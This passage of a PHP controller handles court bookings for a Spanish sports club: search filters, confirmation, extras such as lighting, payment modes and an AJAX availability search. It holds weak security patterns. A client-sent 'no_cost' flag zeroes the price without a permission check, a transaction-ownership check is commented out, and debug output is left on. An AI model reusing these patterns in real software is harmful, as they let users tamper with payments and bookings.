'luz' => number_format($this->reservas->price_light, 2)
)
);
}
}
if($debug) { print("<pre>"); print_r($reservas);print("</pre>"); exit();}
$page ="reservas/preselect";
$data=array(
'reservas' => $reservas,
);
$this->load->view($page, $data);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion de generacion de los filtros
# -------------------------------------------------------------------
function simpleSearchFields()
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
} else $user_group=9;
#########################
## CREACION DE FILTROS para pantalla de busqueda sencilla
######
# Filtro de deportes
$filter_array=array();
$selected_sport=$this->input->post('sports');
$selected_court_type=$this->input->post('court_type');
$selected_court=$this->input->post('court');
$selected_date=$this->input->post('date');
if(!isset($selected_date) || $selected_date=="") $selected_date=date($this->config->item('reserve_date_filter_format'));
# Filtro de DEPORTE
$options=$this->reservas->getSportsArray();
$equipo=array('name' => 'sports', 'desc' => $this->lang->line('sport'), 'default' => $selected_sport, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'sports', 'onchange' => 'document.getElementById(\'frmReserva\').submit();', 'type' => 'select', 'value' => $options);
if(count($options)==1) {
$equipo['type']='hidden';
if(isset($options)) foreach($options as $code => $value) $equipo['value']=$code;
}
array_push($filter_array, $equipo);
# Filtro de TIPO DE PISTA
$tipopista=array('name' => 'court_type', 'desc' => $this->lang->line('court_type'), 'default' => $selected_court_type, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'court_type', 'onchange' => 'document.getElementById(\'frmReserva\').submit();', 'type' => 'select', 'value' => array('' => 'Seleccione Tipo'));
if($this->config->item('sport_required') && (!isset($selected_sport) || $selected_sport=='')) $tipopista['enabled'] = FALSE;
else {
$options=$this->pistas->getAvailableCourtsTypesArray($selected_sport);
if(count($options)==1) {
$tipopista['type']='hidden';
foreach($options as $code=>$value) $tipopista['value']=$code;
} else $tipopista['value']=$options;
}
array_push($filter_array, $tipopista);
# Filtro de PISTAS
$pista=array('name' => 'court', 'desc' => $this->lang->line('court'), 'default' => $selected_court, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'court', 'onchange' => 'document.getElementById(\'frmReserva\').submit();', 'type' => 'select', 'value' => array('' => 'Seleccione Pista'));
if(($this->config->item('sport_required') && (!isset($selected_sport) || $selected_sport=='')) || ($this->config->item('courtype_required') && (!isset($selected_court_type) || $selected_court_type==''))) $pista['enabled'] = FALSE;
else {
$options=$this->pistas->getAvailableCourtsArray($selected_sport,$selected_court_type);
if(count($options)==1) {
$pista['type']='hidden';
foreach($options as $code=>$value) $pista['value']=$code;
} else $pista['value']=$options;
}
array_push($filter_array, $pista);
# Filtro de FECHA
$fecha=array('name' => 'date', 'desc' => $this->lang->line('date'), 'maxdays' => 2, 'default' => $selected_date, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'date', 'type' => 'date');
//if($this->config->item('sport_required') && (!isset($selected_sport) || $selected_sport=='')) $fecha['enabled'] = FALSE;
//if($this->config->item('courtype_required') && (!isset($selected_court_type) || $selected_court_type=='')) $fecha['enabled'] = FALSE;
//$filtro=$this->config->item('court_required');
//if($filtro[$user_group] && (!isset($selected_court) || $selected_court=='')) $fecha['enabled'] = FALSE;
$filtro=$this->config->item('max_search_days');
if(isset($filtro[$user_group]) && $filtro[$user_group]!="") $fecha['maxdays'] = $filtro[$user_group];
array_push($filter_array, $fecha);
/*
if(count($options)>1) $sports_options= $this->lang->line('sport').": ".form_dropdown('sports', $options, $this->input->post('sports'), $js);
else foreach($options as $code=>$value) $sports_options= form_hidden('sports', $code);
$search_fields=array($sports_options);
if(($this->config->item('sport_required') && $this->input->post('sports')!="") || !$this->config->item('sport_required')) {
# Filtro de tipo de pista
$options=$this->pistas->getAvailableCourtsTypesArray($this->input->post('sports'));
$js = 'id="court_type" onChange="document.getElementById(\'frmReserva\').submit();"';
if(count($options)>1) $court_type_options= $this->lang->line('court_type').": ".form_dropdown('court_type', $options, $this->input->post('court_type'), $js);
else foreach($options as $code=>$value) $court_type_options= form_hidden('court_type', $code);
array_push($search_fields,$court_type_options);
if(($this->config->item('courtype_required') && $this->input->post('court_type')!="") || !$this->config->item('courtype_required')) {
# Filtro de pista si viene el tipo de pista filtrado
$options=$this->pistas->getAvailableCourtsArray('',$this->input->post('court_type'));
$js = 'id="court" ';
if(count($options)>1) $court_options= $this->lang->line('court').": ".form_dropdown('court', $options, $this->input->post('court'), $js);
else foreach($options as $code=>$value) $court_options= form_hidden('court', $code);
array_push($search_fields,$court_options);
# Campo de filtro de tipo fecha en el futuro
$data = array('name'=> 'date', 'id'=> 'date', 'value'=> date('Y-m-d'));
array_push($search_fields, $this->lang->line('date').": ".form_input($data));
# Campo de filtro de hora aproximada en que quiero pista (combo en el futuro)
$data = array('name'=> 'time', 'id'=> 'time', 'value'=> date('H:30'));
array_push($search_fields, $this->lang->line('init_time').": ".form_input($data));
}
}*/
return $filter_array;
}
function confirm($id_transaction = NULL)
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Redux_auth_model', 'redux', TRUE);
# Si no estรก definida la transacciรณn, vuelvo a la pรกgina de inicio
if(!isset($id_transaction)) {
redirect(site_url(), 'Location');
exit();
}
//$session=$this->session->userdata('session_id');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_level=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
//print("<pre>"); print_r($this->reservas->getBookingInfoBySession($session));
$info=$this->reservas->getBookingInfoById($id_transaction);
//print("<pre>");print_r($info);print("</pre>");exit();
if(!isset($info) || !is_array($info) || count($info)<1) {
$this->session->set_flashdata('message', '<p class="error">'.$this->lang->line('booking_lost_alert').'</p>');
redirect(site_url('/reservas/'), 'Location'); exit();
}
//print_r($this->redux_auth->profile());
# opciones del menu
$menu=array('menu' => $this->app_common->get_menu_options());
# Recoge las formas de pago disponibles para este nivel de usuario
$this->load->model('Payment_model', 'pagos', TRUE);
$paymentMethods=$this->pagos->getPaymentMethodsByUser($user_level);
# Especificaciones de mรฉtodos de pago de esta pantalla
//$paymentMethods['creditcard'] = TRUE;
//s$paymentMethods['tpv'] = FALSE;
if($user_level<=7) {
$paymentMethods['tpv'] = FALSE;
}
if($user_level==7) {
$paymentMethods['cash'] = FALSE;
$paymentMethods['creditcard'] = FALSE;
}
//$paymentMethods['reserve'] =FALSE;
//$paymentMethods['prepaid'] = FALSE;
//print_r($paymentMethods);
# Variable que habilita o no el marcar la reserva sin coste
$no_cost=0;
if($user_level<=7) {
$no_cost=1;
}
$filtro=$this->config->item('no_cost_permission');
if(isset($filtro[$user_level])) $no_cost = $filtro[$user_level];
# Variable que habilita o no el reservar por otros usuarios
$alt_reserve=0;
if($user_level<=7) $alt_reserve=1;
# Variable que habilita o no el solicitar los datos del usuario para la reserva
$user_data=0;
if(!$this->redux_auth->logged_in()) $user_data=1;
# Cargo la vista de formas de pago
$paymnet_content= $this->load->view('reservas/pago', array('methods' => $paymentMethods, 'transaction_id' => $id_transaction, 'info' => $info), true);
//print("<pre>");print_r($menu);print("</pre>");
//echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true);
if($user_level < 7) {
$main_content= $this->load->view('reservas/confirm_gestion', array('info' => $info, 'no_cost' => $no_cost, 'pay' => 1, 'pay_content' => $paymnet_content, 'form' => 'frmReserva', 'transaction_id' => $id_transaction), true);
}
$data=array(
'meta' => $this->load->view('meta', '', true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', $menu, true),
'footer' => $this->load->view('footer', '', true),
'main_content' => $main_content,
//'page'=>'reservas/confirm',
'info' => $info,
'no_cost' => 1,
'reserve' => 1,
'pay' => 1,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
}
####################
# Funcion que genera la pantalla en la que se selecionan los extras de la reserva (luz, etc..),
# se selecciona si serรก un partido compartido y quien es el titular de la reserva.
####################
function extras($dummy, $id_transaction)
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$session=$this->session->userdata('session_id');
$idt=$this->session->userdata('idTransaction');
//echo $idt.'---';
/*
if($idt != $id_transaction) {
echo "ERROR!! Acceso fraudulento!";
exit();
}
*/
$id_transaction = $idt;
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_level=$profile->group;
$user_name=$profile->username;
} else {
$user_id=0;
$user_level=9;
$user_name=$this->lang->line('anonymous_user');
}
/*
if($light=="true") $this->reservas->setLight($this->session->userdata('idTransaction'),$price_light);
*/
//echo $this->session->userdata('idTransaction');
//print("<pre>"); print_r($this->reservas->getBookingInfoBySession($session));
$info=$this->reservas->getBookingInfoById($id_transaction);
//print("<pre>");print_r($info);print("</pre>");exit();
if(!isset($info) || !is_array($info) || count($info)<1) {
$this->session->set_userdata('error_message', $this->lang->line('session_lost_alert'));
redirect(site_url('/reservas/'), 'Location'); exit();
}
############
# Array de opciones de la reserva
###########
$options = array();
$precio_luz = $this->reservas->getLight($id_transaction);
//echo "AA".$precio_luz;
$light_option = $this->load->view('reservas/booking_light_option', array('precio' => $precio_luz), TRUE);
$options['light'] = $light_option;
$record_players = $this->config->item('booking_record_players');
$record_players_range = array();
if(isset($record_players) && $record_players) {
$record_players_range = $this->config->item('booking_record_players_range');
//print_r($record_players_range);
$players_option = $this->load->view('reservas/booking_players_option', array('record_players_range' => $record_players_range), TRUE);
//print ($players_option);
$options['players'] = $players_option;
}
#############
//print_r($this->redux_auth->profile());
/*
if($this->redux_auth->logged_in()) {
echo "logueado";
}
*/
//echo $this->input->post('allow_light').' - '.$light;
# Variable que habilita o no el marcar la reserva sin coste
$no_cost=0;
if($user_level<=4) $no_cost=1;
$filtro=$this->config->item('no_cost_permission');
if(isset($filtro[$user_level])) $no_cost = $filtro[$user_level];
# Variable que habilita o no el marcar la reserva sin coste
$record_players=$this->config->item('booking_record_players');
if(isset($record_players) && $record_players) { $record_players_number = $this->config->item('booking_record_players_number');}
//echo $record_players_number;
if(!isset($record_players_number) || $record_players_number == '') $record_players_number = 1;
//echo $record_players_number;
# Variable que habilita o no el poder seleccionar usuarios para la reserva
$multiuser=0;
if($user_level<=4) $multiuser=1;
# Variable que habilita o no el reservar por otros usuarios
$alt_reserve=0;
if($user_level<=4) $alt_reserve=1;
# Variable que habilita o no el solicitar los datos del usuario para la reserva
$user_data=0;
if(!$this->redux_auth->logged_in()) $user_data=1;
# Variable que habilita o no el registrar la reserva como 'partido compartido'
$permiso=$this->config->item('shared_bookings_permission');
$shared_booking=0;
if($permiso[$user_level]) $shared_booking=1;
if(in_array($this->agent->browser(), $this->config->item('special_browser'))) {
$added = array('added_footer' => 'Pagina adaptada a IE');
$data=array(
//'menu' => $this->load->view('menu', $menu, true),
'user_name' => $user_name,
//'search_fields' => $this->load->view('reservas/search_fields2', array('search_fields'=> $this->simpleSearchFields(), 'form' => 'frmReserva', 'disabled' => $disabled), true),
//'result' => $this->load->view('reservas/simple_result', array('availability' => $availability_array, 'user_id' => $user_id, 'filters' => $this->load->view('reservas/search_fields', array('search_fields'=> $this->simpleSearchFields()), true)), true),
//'validation_script' => $validation_script,
'record_players_number' => $record_players_number,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
if($this->redux_auth->logged_in()) {
$data['meta']=$this->load->view('meta', '', true);
$data['header']=$this->load->view('header', array('enable_menu' => '1'), true);
$data['footer']=$this->load->view('footer', $added, true);
} else {
$data['meta']=$this->load->view('meta_index', '', true);
$data['header']=$this->load->view('header_index', array('enable_menu' => '0'), true);
$data['footer']=$this->load->view('footer_index', $added, true);
}
$data['main_content']=$this->load->view('reservas/extra_iexplorer', array('user_name' => $user_name, 'info' => $info, 'no_cost' => $no_cost, 'multiuser' => $multiuser, 'form' => 'frmReserva', 'logged_user' => $user_id, 'id_transaction' => $id_transaction, 'options' => $options, 'shared_booking' => $shared_booking, 'record_players_number' => $record_players_number), true);
$this->load->view('main', $data);
} else $this->load->view('reservas/extra', array('info' => $info, 'no_cost' => $no_cost, 'multiuser' => $multiuser, 'form' => 'frmReserva', 'logged_user' => $user_id, 'id_transaction' => $id_transaction, 'options' => $options, 'shared_booking' => $shared_booking, 'record_players_number' => $record_players_number));
}
function pay($mode, $idTransaction)
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Payment_model', 'pagos', TRUE);
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->library('booking');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
} else $user_id=0;
$logged_user=$user_id;
# Definiciรณn de barra de menus
$menu=array('menu' => $this->app_common->get_menu_options());
$no_cost=0;
if($this->input->post('no_cost')) $no_cost=$this->input->post('no_cost');
//$idTransaction=$this->session->userdata('idTransaction');
$info=$this->reservas->getBookingInfoById($idTransaction);
$user_id = $info['user'];
//print("<pre>");print_r($info);print("</pre>");//exit();
if(!isset($info) || !is_array($info) || count($info)<1) {
$this->session->set_userdata('error_message', $this->lang->line('session_lost_alert'));
redirect(site_url('/reservas/'), 'Location'); exit();
}
//echo $user_id; //exit();
if($this->input->post('no_cost')) $info['total_price']=0;
$intervalos=array();
$tmp=$this->session->userdata('bookingInterval');
//print_r($tmp);exit();
if(is_array($tmp)) {
$intervalos=$tmp;
}
$success=0;
switch($mode) {
case 'prepaid':
$estado_reserva=9;
$modo_pago=5;
$this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user_id, $this->input->post('user_desc'), $this->input->post('user_phone'), $no_cost, $this->input->post('no_cost_desc'));
if(!$no_cost) {
if($this->usuario->addPrepaidMovement($user_id, floatval($info['total_price'] * (-1)), '1', 1, $idTransaction)) $success=1;
/*
$this->pagos->id_type=1; //Reserva de pista
$this->pagos->id_element=$session;
$this->pagos->id_transaction=$idTransaction;
$this->pagos->id_user=$user;
$this->pagos->id_paymentway=$modo_pago;
$this->pagos->status=$estado_reserva;
$this->pagos->quantity=$info['price'];
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description='Cargo al credito prepago';
$this->pagos->create_user=$logged_user;
$this->pagos->create_time=date($this->config->item('log_date_format'));
if($this->pagos->setPayment()) $success=1;
*/
} else $success=1;
break;
case 'creditcard':
$estado_reserva=9;
$modo_pago=2;
$this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user_id, $this->input->post('user_desc'), $this->input->post('user_phone'), $no_cost, $this->input->post('no_cost_desc'));
if(!$no_cost) {
$this->pagos->id_type=1; //Reserva de pista
$this->pagos->id_transaction=$idTransaction;
$this->pagos->id_user=$user_id;
$this->pagos->desc_user=$this->input->post('user_desc');
$this->pagos->id_paymentway=$modo_pago;
$this->pagos->status=$estado_reserva;
$this->pagos->quantity=$info['total_price'];
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description='Reserva por tarjeta credito';
$this->pagos->create_user=$logged_user;
$this->pagos->create_time=date($this->config->item('log_date_format'));
if($this->pagos->setPayment()) $success=1;
} else $success=1;
break;
case 'paypal':
$estado_reserva=9;
$modo_pago=3;
$this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user_id, $this->input->post('user_desc'), $this->input->post('user_phone'), $no_cost, $this->input->post('no_cost_desc'));
if(!$no_cost) {
$this->pagos->id_type=1; //Reserva de pista
$this->pagos->id_transaction=$idTransaction;
$this->pagos->id_user=$user_id;
$this->pagos->desc_user=$this->input->post('user_desc');
$this->pagos->id_paymentway=$modo_pago;
$this->pagos->status=$estado_reserva;
$this->pagos->quantity=$info['total_price'];
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description='Reserva por Paypal';
$this->pagos->create_user=$logged_user;
$this->pagos->create_time=date($this->config->item('log_date_format'));
if($this->pagos->setPayment()) $success=1;
} else $success=1;
break;
case 'cash':
$estado_reserva=9;
$modo_pago=1;
$this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user_id, $this->input->post('user_desc'), $this->input->post('user_phone'), $no_cost, $this->input->post('no_cost_desc'));
if(!$no_cost) {
$this->pagos->id_type=1; //Reserva de pista
$this->pagos->id_transaction=$idTransaction;
$this->pagos->id_user=$user_id;
$this->pagos->desc_user=$this->input->post('user_desc');
$this->pagos->id_paymentway=$modo_pago;
$this->pagos->status=$estado_reserva;
$this->pagos->quantity=$info['total_price'];
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description='Reserva pagada en efectivo';
$this->pagos->create_user=$user_id;
$this->pagos->create_time=date($this->config->item('log_date_format'));
if($this->pagos->setPayment()) $success=1;
} else $success=1;
break;
case 'bank':
$estado_reserva=9;
$estado_pago = 2;
$modo_pago=1;
$this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user_id, $this->input->post('user_desc'), $this->input->post('user_phone'), $no_cost, $this->input->post('no_cost_desc'));
if(!$no_cost) {
$this->pagos->id_type=1; //Reserva de pista
$this->pagos->id_transaction=$idTransaction;
$this->pagos->id_user=$user_id;
$this->pagos->desc_user=$this->input->post('user_desc');
$this->pagos->id_paymentway=$modo_pago;
$this->pagos->status=$estado_pago;
$this->pagos->quantity=$info['total_price'];
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description='Reserva pagada en efectivo';
$this->pagos->create_user=$user_id;
$this->pagos->create_time=date($this->config->item('log_date_format'));
if($this->pagos->setPayment()) $success=1;
} else $success=1;
break;
case 'reserve':
$estado_reserva=7;
$this->reservas->setSelectionReserved($idTransaction, $estado_reserva, 0, $user_id, $this->input->post('user_desc'), $this->input->post('user_phone'), $no_cost, $this->input->post('no_cost_desc'));
$success=1;
break;
}
#Cada vez que voy a buscar, actualizo el id de transaccion
$this->session->set_userdata('idTransaction', $this->app_common->getIdTransaction());
//echo "aaa".$profile->email;
# Mail de notificaciรณn de reservas
$this->booking->notify_booking($info);
$data=array(
'meta' => $this->load->view('meta', '', true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', $menu, true),
'footer' => $this->load->view('footer', '', true),
'error' => $this->session->flashdata('message'),
'main_content' => $this->load->view('reservas/payment_gestion', array('info' => $info, 'success' => $success, 'return_url' => $this->session->userdata('return_url')), true),
//'page'=>'reservas/confirm',
'info' => $info,
'no_cost' => 1,
'reserve' => 1,
'pay' => 1,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion de bรบsqueda de pista para AJAX
# -------------------------------------------------------------------
function search2($fecha, $pista=NULL,$deporte=NULL, $tipo=NULL, $dummy )
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Lessons_model', 'lessons', TRUE);
if(!isset($fecha) || !isset($dummy)) { redirect(base_url(), 'Location'); exit(); }
# Si vienen con el texto 'null', las vacรญo, porque es que no fueron seleccionadas como filtro
if($pista=='null') $pista='';
if($deporte=='null') $deporte='';
if($tipo=='null') $tipo='';
$fecha_form=$fecha;
$fecha=date($this->config->item('date_db_format'), strtotime($fecha));
//echo $deporte."-".$tipo."-".$pista."-".$fecha;
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
$user_name=$profile->username;
} else {
$user_id=0;
$user_group=9;
$user_name=$this->lang->line('anonymous_user');
}
# Vacio el array de elementos seleccionados
$this->session->set_userdata('bookingInterval', array());
#Cada vez que voy a buscar, actualizo el id de transaccion
$id_transaction = $this->app_common->getIdTransaction();
$this->session->set_userdata('idTransaction', $id_transaction);
//echo $this->session->userdata('idTransaction');
if(isset($fecha) && $fecha!="" && isset($pista) && $pista!="") {
$pista_elegida=$pista;
$pistas=array($pista_elegida);
$this->pistas->id=$pista_elegida;
$nombre_pista=$this->pistas->getDescription();
$dia_elegido=$fecha;
//$this->reservas->date=$dia_elegido;
//$this->reservas->court=$pista_elegida;
$this->reservas->id_user=$user_id;
if($this->redux_auth->logged_in()) $this->reservas->clearByUser($user_id); // Si hay alguien logueado, borro las reservas pendientes de confirmar al hacer una nueva bรบsqueda
else $this->reservas->clearBySession($this->session->userdata('session_id'));
//print("<pre>");
/*
$this->reservas->getSpecialTimetableByCourt();
print("a");print_r($this->reservas->availability);exit();
if(!$this->reservas->availability) $this->reservas->getSpecialTimetable();
print("b");print_r($this->reservas->availability);
if(!$this->reservas->availability) $this->reservas->availability=$this->pistas->getTimetable($dia_elegido);
//print_r($this->reservas->availability);
print("c");print_r($this->reservas->availability);
$this->reservas->getAvailabilityByCourt($fecha,$pista);
print("d");print_r($this->reservas->availability);
$this->reservas->availability=$this->lessons->updateTimetable($fecha, $pista, $this->reservas->availability);
*/
$this->app_common->get_court_availability($pista_elegida, $dia_elegido);
$availability_array[$nombre_pista]=$this->reservas->availability;
//$availability_array=array($this->reservas->availability);
//print_r($this->reservas->availability);
# Hay que mirar si tiene horas reservadas para modificar el horario de base...
} elseif (isset($fecha) && $fecha!="") {
# Si no seleccionan pista, saco toda la info de todas las pistas
$pistas=$this->pistas->getAvailableCourts($deporte,$tipo);
//print_r($pistas);
$availability_array=array();
foreach($pistas as $elemento) {
$pista_elegida=$elemento; // Valor de ejemplo .. Deberรก ser el seleccionado
$this->pistas->id=$pista_elegida;
$nombre_pista=$this->pistas->getDescription();
$dia_elegido=$fecha;
//$this->reservas->date=$dia_elegido;
//$this->reservas->court=$pista_elegida;
$this->reservas->id_user=$user_id;
$this->reservas->availability=NULL;
//echo 'Pista '.$this->pistas->id.'<br>';
if($this->redux_auth->logged_in()) $this->reservas->clearByUser($user_id); // Si hay alguien logueado, borro las reservas pendientes de confirmar al hacer una nueva bรบsqueda
/*
$this->reservas->getSpecialTimetableByCourt();
if(!$this->reservas->availability) $this->reservas->getSpecialTimetable();
if(!$this->reservas->availability) $this->reservas->availability=$this->pistas->getTimetable($dia_elegido);
$this->reservas->getAvailabilityByCourt($fecha,$pista_elegida);
$this->reservas->availability=$this->lessons->updateTimetable($fecha, $pista_elegida, $this->reservas->availability);
*/
$this->app_common->get_court_availability($pista_elegida, $dia_elegido);
$availability_array[$nombre_pista]=$this->reservas->availability;
//print("a<pre>");print_r($availability_array);exit();
//array_push(, $this->reservas->availability);
}
}
//echo $this->agent->browser().'----'; print_r($this->config->item('special_browser'));
//if(in_array($this->agent->browser(), $this->config->item('special_browser'))) echo "AAAAA";
//$this->load->view('main', $data);
if(in_array($this->agent->browser(), $this->config->item('special_browser'))) {
$added = array('added_footer' => 'Pagina adaptada a IE');
$data=array(
//'menu' => $this->load->view('menu', $menu, true),
'user_name' => $user_name,
//'search_fields' => $this->load->view('reservas/search_fields2', array('search_fields'=> $this->simpleSearchFields(), 'form' => 'frmReserva', 'disabled' => $disabled), true),
//'result' => $this->load->view('reservas/simple_result', array('availability' => $availability_array, 'user_id' => $user_id, 'filters' => $this->load->view('reservas/search_fields', array('search_fields'=> $this->simpleSearchFields()), true)), true),
//'validation_script' => $validation_script,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
if($this->redux_auth->logged_in()) {
$data['meta']=$this->load->view('meta', '', true);
$data['header']=$this->load->view('header', array('enable_menu' => '1'), true);
$data['footer']=$this->load->view('footer', $added, true);
} else {
$data['meta']=$this->load->view('meta_index', '', true);
$data['header']=$this->load->view('header_index', array('enable_menu' => '0'), true);
$data['footer']=$this->load->view('footer_index', $added, true);
}
$data['main_content']=$this->load->view('reservas/simple_result2_iexplorer', array('id_transaction' => $this->session->userdata('idTransaction'), 'availability' => $availability_array, 'pistas' => $pistas, 'user_name' => $user_name, 'user_id' => $user_id, 'date' => $fecha_form), true);
$this->load->view('main', $data);
} else $this->load->view('reservas/simple_result2', array('id_transaction' => $this->session->userdata('idTransaction'), 'availability' => $availability_array, 'pistas' => $pistas, 'user_id' => $user_id, 'date' => $fecha_form));
//print("<pre>");print_r($this->session);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion de seleccion de pago para AJAX
# -------------------------------------------------------------------
function confirm2($dummy, $id_transaction, $full_view = 0, $prereserved = 0)
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->library('booking');
$debug = TRUE;
$session=$this->session->userdata('session_id');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_level=$profile->group;
} else {
$user_id=0;
$user_level=9;
}
//print("<pre>");print_r($_POST);exit();
$info=$this->reservas->getBookingInfoById($id_transaction);
//print("<pre>");print_r($info);//exit();
# Comprobaciรณn (si corresponde) del nรบmero mรกximo de reservas diarias por usuario
$booking_id_user = $this->input->post('id_user');
$booking_id_user = $user_id; // Con esto se comprueba el maximo de reservas en base al usuario logueado, no en base al usuario de la reserva..
if($booking_id_user=='') $booking_id_user = 0;
if($booking_id_user != 0) $valida_por_maxima = $this->booking->checkMaximumBookingPerDayUserSport($info['date'], $info['id_court'], $booking_id_user);
else $valida_por_maxima = TRUE;
if($debug) { if($valida_por_maxima) echo 'reserva valida respecto a maximos diarios de reserva'; else echo 'reserva INVALIDA respecto a maximos diarios de reserva'; }
//exit();
if(!$valida_por_maxima) {
//$this->session->set_userdata('error_message', 'El usuario ha excedido el n&uacte;mero máximo de reservas diarias para ese deporte');
//redirect(site_url(), 'Location');
echo '<div class="ui-widget"> <div class="ui-state-highlight ui-corner-all" > <p>'.img( array('src'=>'images/warning_48.png', 'border'=>'0', 'alt' => 'Warning', 'align'=>'absmiddle')).' El usuario ha excedido el número máximo de reservas diarias para ese deporte. Para reservar de nuevo, haga click '.anchor('reservas', 'aquí').'</p> </div> </div>';
exit();
}
# Fin de la comprobacicรณn de reservas mรกximas por usuario/dia/deporte
$multi_player = FALSE;
$multi_player = $this->config->item('booking_record_players');
$record_players_number = array();
if(isset($multi_player) && $multi_player) {
$record_players_range = $this->config->item('booking_record_players_range');
}
if(!isset($record_players_range)) $record_players_range = array(1);
# Grabaciรณn del usuario principal
$booking_id_user = $this->input->post('id_user');
$booking_user_desc = $this->input->post('user_desc');
$booking_user_phone = $this->input->post('user_phone');
$add = 1;
if((!isset($booking_id_user) || $booking_id_user == '') && (!isset($booking_user_desc) || $booking_user_desc == '') && (!isset($booking_user_phone) || $booking_user_phone =='')) $add = 0;
if($booking_id_user=='') $booking_id_user = 0;
if($add==1) $this->reservas->add_player($id_transaction, array('id_user' => $booking_id_user, 'user_desc' => $booking_user_desc , 'user_phone' => $booking_user_phone));
#Si viene el usuario reegistrado seleccionado, me aseguro de rellenar los campos de nombre de usuario y telefono
if($booking_id_user!='' && $booking_id_user!=0) {
$booking_user_desc = $this->usuario->getUserDesc($booking_id_user);
$booking_user_phone = $this->usuario->getUserPhone($booking_id_user);
}
#Si la opciรณn de grabar multiples jugadores estรก activa, recojo los datos y los grabo
if($multi_player) {
for($i=1; $i< max($record_players_range); $i++) {
$booking_id_user_X = $this->input->post('id_user_'.$i);
$booking_user_desc_X = $this->input->post('user_desc_'.$i);
$booking_user_phone_X = $this->input->post('user_phone_'.$i);
if($booking_id_user_X=='') $booking_id_user_X = 0;
if($booking_id_user_X != 0 || ($booking_user_desc_X!='' && $booking_user_phone_X!='')) $this->reservas->add_player($id_transaction, array('id_user' => $booking_id_user_X, 'user_desc' => $booking_user_desc_X , 'user_phone' => $booking_user_phone_X));
}
}
$booking_no_cost = $this->input->post('no_cost');
if($booking_no_cost == "true") $booking_no_cost = TRUE;
else $booking_no_cost = FALSE;
if($booking_no_cost) $info['total_price']=0;
$booking_no_cost_desc = $this->input->post('no_cost_desc');
$booking_light = $this->input->post('allow_light');
if($booking_light == "true") $booking_light = TRUE;
else $booking_light = FALSE;
if($booking_light) $this->reservas->setLight($id_transaction);
//echo "AA".$id_transaction;
//echo $this->session->userdata('idTransaction');
//print("<pre>"); print_r($this->reservas->getBookingInfoBySession($session));
$info=$this->reservas->getBookingInfoById($id_transaction);
//print("<pre>");print_r($info);print("</pre>");exit();
if(!isset($info) || !is_array($info) || count($info)<1) {
$this->session->set_flashdata('message', '<p class="error">'.$this->lang->line('session_lost_alert').'</p>');
//redirect(site_url('/reservas/'), 'Location');
exit();
}
# Si viene marcado el check de preserervada, es que viene de una reserva ya hecha y solo viene a ser pagada.. asรญ que los datos los saco de la reserva, no del POST. (especial para el panel decontrol)
if($prereserved) {
$booking_id_user = $info['user'];
$booking_user_desc = $info['user_desc'];
$booking_user_phone = $info['user_phone'];
if($info['no_cost']) {
$booking_no_cost = TRUE;
$booking_no_cost_desc = $info['no_cost_desc'];
} else {
$booking_no_cost = FALSE;
$booking_no_cost_desc = null;
}
if($info['light']) $booking_light = TRUE;
else $booking_light = FALSE;
}
$success=0;
if(isset($info['status']) && $info['status']!="") $estado_reserva=$info['status'];
else $estado_reserva=5;
if($booking_no_cost) {
